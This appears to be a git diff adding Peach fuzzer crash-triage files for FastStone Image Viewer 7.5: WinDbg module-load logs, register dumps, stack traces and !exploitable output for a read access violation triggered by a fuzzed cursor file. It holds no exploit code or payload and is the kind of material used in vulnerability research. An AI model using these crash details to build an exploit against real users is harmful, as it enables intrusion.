00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(184c.1550): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07ed7b10 edx=00003879 esi=ffd70010 edi=0fc6efd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.17786e+030 2.12169e+009 1.41531e+038 -11.8818 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00247000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00247000 e054a0aa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00247000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e63e93d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57725/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f7e6ab9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..91a20a4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x47C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x47C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(47c.eb8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=03ffed2d ecx=07f87b10 edx=00003879 esi=f3e30010 edi=07db0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.220825400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.96016e-018 1.66671e+031 -9.09025e-023 1.01846e-030 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0021a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0021a000 f630b501 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0021a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..91a20a4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/57855/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x47C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x47C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 